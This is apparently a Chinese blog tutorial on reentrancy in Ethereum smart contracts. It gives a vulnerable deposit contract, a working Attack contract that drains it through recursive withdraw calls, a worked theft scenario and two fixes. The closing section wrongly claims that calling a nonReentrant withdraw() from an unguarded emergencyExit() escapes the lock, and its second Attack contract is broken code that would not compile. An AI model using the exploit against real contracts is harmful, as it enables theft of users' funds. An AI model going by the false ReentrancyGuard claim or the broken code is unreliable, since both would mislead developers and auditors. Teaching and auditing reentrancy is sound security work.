【区块链安全 | 第三十四篇】合约审计之重入漏洞
文章目录
- 概念
- 漏洞代码
- 代码审计
- 攻击代码
- 攻击过程总结
- 示例
- 修复建议
- 审计思路
概念
以太坊的智能合约可以互相调用,也就是说,一个合约可以调用另一个合约的函数。除了外部账户,合约本身也可以持有以太币并进行转账。当合约接收到以太币时,通常会触发一个叫做 fallback
的函数来执行一些特定的操作。这就是所谓的“隐蔽的外部调用”。
重入漏洞的问题出现在合约的外部调用上,尤其是当目标是一个恶意的合约时。攻击者可能会利用这种外部调用,在被攻击的合约中执行一些恶意逻辑。举个例子,当合约调用恶意合约时,恶意合约可以通过某些方式重新进入被攻击的合约,重复执行一些操作,甚至发起非预期的交易,从而破坏合约的正常逻辑。
换句话说,重入漏洞就是攻击者利用合约间外部调用的机制,在合约中反复进入,造成不希望发生的行为,通常会导致合约的资金被盗取。
漏洞代码
以下为典型的存在重入漏洞的合约代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;contract EtherStore {mapping(address => uint) public balances;// 存款函数function deposit() public payable {// 增加余额balances[msg.sender] += msg.value;}// 提款函数function withdraw() public {// 提款前,余额需大于0uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");// 先发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");// 再清除余额balances[msg.sender] = 0;}// 查询合约余额function getBalance() public view returns (uint) {return address(this).balance;}
}
不难看出,该 EtherStore 合约是一个充提合约。
代码审计
我们重点关注 withdraw() 函数:
// 提款函数function withdraw() public {// 提款前,余额需大于0uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");// 先发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");// 再清除余额balances[msg.sender] = 0;}
这一段代码执行了转账操作,实现了外部调用:
// 先发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");
因此我们需要特别关注这里是否存在重入漏洞。
我们可以看到,在 withdraw 函数中,合约是先执行外部调用进行转账,然后才将用户的账户余额清零。那么,我们就可以构造一个恶意合约,在接收到转账时,通过回调函数在 balances[msg.sender] = 0 这一行执行之前,不断递归调用 withdraw 函数重复提现,从而将整个合约的余额逐步提空。
攻击代码
仔细查看代码注释:
contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) { // 构造函数的声明etherStore = EtherStore(_etherStoreAddress);// 把传入的地址 _etherStoreAddress 转换为 EtherStore 类型的合约实例,并赋值给 etherStore 这个变量}// 相当于传入受害合约// 当合约收到以太币时,// 如果没有 receive() 函数,或者调用的数据不匹配任何函数签名,// 就会触发 fallback() 函数// 因此,当 EtherStore 合约向 Attack 合约发送以太币时,这个 fallback() 就会被自动触发// 然后检查 EtherStore 当前余额是否仍然大于等于 1 ETH;// 如果是,就再次调用 etherStore.withdraw();fallback() external payable {if (address(etherStore).balance >= 1 ether) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}(); // 向 EtherStore 合约存入 1 ETH,增加其余额// 从 EtherStore 中提取资金etherStore.withdraw();// 提取到资金后,就会触发本合约的 fallback() }// 辅助函数:查看该合约的余额function getBalance() public view returns (uint) {return address(this).balance;}
}
攻击过程总结
1.攻击者首先调用 attack(),并向 EtherStore 合约发送 1 ETH。
2.然后,Attack 合约将这 1 ETH 存入 EtherStore 合约。
由于在 EtherStore 合约提款时,余额需大于0,因此需提前存入 1 ETH 满足提款条件,进而触发下文的第4点。
3.紧接着,攻击者调用 Attack 合约中的 withdraw(),从 EtherStore 提取资金。
4.EtherStore 合约向 Attack 合约转账,触发 Attack 合约的 fallback() 函数。
5.在 Attack 合约的 fallback() 中,Attack 合约再次调用 withdraw(),重复这个过程,直到 EtherStore 合约的余额被完全提取。
示例
我们假设有三个角色参与本次攻击:
- 用户 Alice
- 用户 Bob
- 攻击者 Eve
整个攻击过程如下。
1.部署 EtherStore 合约。
2.用户 Alice 和用户 Bob 各向 EtherStore 合约充值 1 个以太币。此时合约总余额为 2 ETH。
3.攻击者 Eve 部署 Attack 合约,并在部署时传入 EtherStore 合约地址,完成初始化。
4.Eve 调用 Attack.attack() 函数,向 EtherStore 合约存入 1 个以太币,以建立合法的余额记录;
5.此时 EtherStore 合约中共有 3 ETH,分别来自 Alice、Bob 和 Eve。
6.攻击者调用 EtherStore.withdraw() 提现这 1 ETH。
7.在提现过程中,EtherStore 合约会向 Attack 合约发送 1 ETH,进而触发 Attack 合约的 fallback() 函数。
8.在 fallback() 中,只要 EtherStore 合约余额仍大于等于 1 ETH,Attack 合约就会递归调用 withdraw(),不断重复提现。
9.最终,直到 EtherStore 合约余额低于 1 ETH,攻击循环才会停止。
10.此时:
- Alice 和 Bob 原本的 2 ETH 已被攻击者转移走;
- 攻击者 Eve 获得了合约中所有剩余的资金。
修复建议
1.先更新状态,再进行外部调用
我们应避免在修改状态变量之前进行外部调用。因此,我们可以将 balances[msg.sender] = 0;
移动到转账语句之前。
// 提款函数function withdraw() public {// 提款前,余额需大于0uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");// 先清除余额balances[msg.sender] = 0;// 再发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");
此时你可能有疑问:“把 balances[msg.sender] = 0; 放在转账前,不就把余额清零了吗?那转账的那一行怎么实现?”
注意:第 1 行我们用 uint bal = balances[msg.sender];
把用户余额先读出来,赋值给了一个局部变量 bal;即使我们随后把 balances[msg.sender] 设置为 0,不会影响 bal 的值;最后转账时,用的不是 balances[msg.sender],而是我们事先保存下来的 bal,所以不会出问题。
2.使用“重入锁”(Reentrancy Guard)
可以引入互斥锁(mutex)机制,防止函数被递归调用。OpenZeppelin 提供了非常成熟的 ReentrancyGuard 合约。
示例代码如下:
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";contract EtherStore is ReentrancyGuard {mapping(address => uint) public balances;// 存款函数function deposit() public payable {balances[msg.sender] += msg.value;}// nonReentrant 是 ReentrancyGuard 提供的一个修饰器(modifier)// 一旦 withdraw() 开始执行,就不允许再次进入,直到它执行完毕function withdraw() public nonReentrant {uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");balances[msg.sender] = 0;(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");}
}
此时你可能又有一个问题:“我已经用了 nonReentrant,那我是不是就可以把转账写在前,清零写在后?”
不行。理由如下:
1.“状态先改,再调用外部合约”,满足 Solidity 安全开发的通用原则:Checks-Effects-Interactions Pattern。
2.你未来可能会在 EtherStore 合约中新增一个“退出合约”或“紧急退款”功能,比如编写了一个 emergencyExit() 函数,内部帮助用户调用 withdraw()。但如果这个函数未加 nonReentrant 修饰器,就可能引发重入风险。示例如下:
function emergencyExit() public { // emergencyExit() 后忘记加 nonReentrantwithdraw(); // 调用了已经加锁的 withdraw()
}
虽然 withdraw() 本身是有 nonReentrant 修饰器的,但由于它是被合约内部直接调用的(即内部函数调用),不会触发 ReentrancyGuard 的锁机制。因为锁机制依赖的是“重新进入函数”的检测,而这种调用路径仍然沿着原始的调用栈执行,并未重新进入函数上下文。
攻击者只需修改代码如下,即可再次导致重入攻击的发生:
contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) { // 构造函数的声明etherStore = EtherStore(_etherStoreAddress);// 把传入的地址 _etherStoreAddress 转换为 EtherStore 类型的合约实例,并赋值给 etherStore 这个变量}// 相当于传入受害合约// 当合约收到以太币时,// 如果没有 receive() 函数,或者调用的数据不匹配任何函数签名,// 就会触发 fallback() 函数// 因此,申请紧急退款时,EtherStore 合约向 Attack 合约发送以太币,这个 fallback() 就会被自动触发// 然后检查 EtherStore 当前余额是否仍然大于等于 1 ETH;// 如果是,就再次调用 emergencyExit()fallback() external payable {if (address(etherStore).balance >= 1 ether) {emergencyExit()}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}(); // 向 EtherStore 合约存入 1 ETH,增加其余额// 调用紧急退款,从 EtherStore 提取资金emergencyExit()// 提取到资金后,触发本合约的 fallback() }// 辅助函数:查看该合约的余额function getBalance() public view returns (uint) {return address(this).balance;}
}
审计思路
所有涉及外部合约调用的代码位置都可能存在安全风险。因此,在审计过程中,我们应重点审查这些外部调用的部分,并深入推演可能产生的危害。通过这种方式,我们能够有效判断是否存在重入漏洞的风险,并采取相应的防护措施。
最后要注意:使用 call 函数进行转账容易发生重入攻击,因为 call 是低级函数,call 在执行后会执行目标地址(msg.sender)的 fallback 或 receive 函数,即将控制权交给目标合约。